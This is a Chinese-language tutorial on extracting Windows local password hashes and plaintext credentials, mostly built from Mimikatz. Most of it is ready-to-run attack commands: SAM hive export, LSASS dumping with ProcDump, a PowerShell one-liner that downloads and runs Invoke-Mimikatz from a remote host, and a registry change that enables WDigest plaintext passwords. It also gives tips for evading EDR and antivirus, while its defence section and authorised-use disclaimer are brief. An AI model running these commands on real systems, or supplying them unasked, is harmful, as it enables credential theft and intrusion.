从mimikatz学Windows本地hash抓取
字数 1397 2025-08-18 17:33:36
Windows本地Hash抓取技术详解
1. 基础知识
在Windows操作系统中,用户凭证信息主要存储在以下两个位置:
- SAM数据库:位于
C:\Windows\System32\config\sam,保存本地用户的Hash - LSASS进程内存:
lsass.exe进程会缓存用户密码信息
2. 通过SAM数据库提取Hash
2.1 使用Mimikatz在线模式
前提条件:
- 需要SYSTEM权限或模拟SYSTEM令牌
操作步骤:
privilege::debug // 获取debug权限
token::elevate // 模拟SYSTEM令牌
lsadump::sam // 转储SAM数据库
特点:
- 使用简单
- 特征明显,容易被安全产品拦截
2.2 使用Mimikatz离线模式
操作步骤:
-
导出注册表文件:
reg save hklm\sam sam.hiv reg save hklm\system system.hiv -
或者直接复制文件(需要工具如NinjaCopy):
C:\Windows\System32\config\SYSTEM C:\Windows\System32\config\SAM -
使用Mimikatz解析:
lsadump::sam /sam:sam.hiv /system:system.hiv
特点:
- 需要导出文件,效率较低
- 更安全,不易被检测
3. 通过LSASS进程内存提取凭证
3.1 直接使用Mimikatz提取
前提条件:
- Administrator权限(可通过
privilege::debug获取调试权限) - 或SYSTEM权限
交互式提取:
privilege::debug
log
sekurlsa::logonpasswords
非交互式提取:
mimikatz.exe log "privilege::debug" "sekurlsa::logonPasswords full" exit
3.2 通过PowerShell加载Mimikatz
方法一(远程加载):
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds
方法二(本地加载):
powershell Import-Module .\Invoke-Mimikatz.ps1; Invoke-Mimikatz -Command '"privilege::debug" "log" "sekurlsa::logonPasswords full"'
3.3 通过LSASS转储文件提取
-
使用ProcDump导出LSASS内存:
procdump64.exe -accepteula -ma lsass.exe lsass.dmp -
使用Mimikatz解析转储文件:
mimikatz.exe log "sekurlsa::minidump lsass.dmp" "sekurlsa::logonPasswords full" exit
4. 其他工具
-
Pwdump7:
- 下载地址:http://passwords.openwall.net/b/pwdump/pwdump7.zip
-
PowerShell脚本:
powershell Import-Module .\Invoke-PowerDump.ps1; Invoke-PowerDump -
QuarkPwDump:
- 项目地址:https://github.com/quarkslab/quarkspwdump
- 已编译版本:https://github.com/redcanari/quarkspwdump/releases
5. 明文密码问题
KB2871997补丁影响:
- 会删除除wdigest SSP外的其他SSP的明文凭据
- 对于wdigest SSP只能选择禁用
启用wdigest获取明文密码:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
6. 技术原理
-
SAM数据库提取原理:
- 读取
hklm\system获取syskey - 使用syskey解密
hklm\sam
- 读取
-
LSASS内存提取原理:
- 通过API
MiniDumpWriteDump()获得lsass.exe进程的dmp文件 - 从内存中提取凭证信息
- 通过API
7. 防御与检测
-
在线模式:
- 特征明显,容易被EDR/AV检测
- 建议使用离线模式或LSASS转储方式
-
防护措施:
- 启用LSA保护
- 限制调试权限
- 监控lsass.exe进程的异常访问
8. 总结对比
| 方法 | 优点 | 缺点 | 适用场景 |
|---|---|---|---|
| 在线SAM提取 | 简单直接 | 易被检测 | 快速测试 |
| 离线SAM提取 | 更安全 | 需要导出文件 | 隐蔽操作 |
| 直接LSASS提取 | 可获取更多信息 | 高风险 | 交互式环境 |
| LSASS转储 | 可离线分析 | 需要额外步骤 | 规避检测 |
| PowerShell方式 | 无文件落地 | 可能被拦截 | 红队操作 |
掌握这些技术对于渗透测试和系统安全评估至关重要,但请确保只在合法授权的范围内使用这些技术。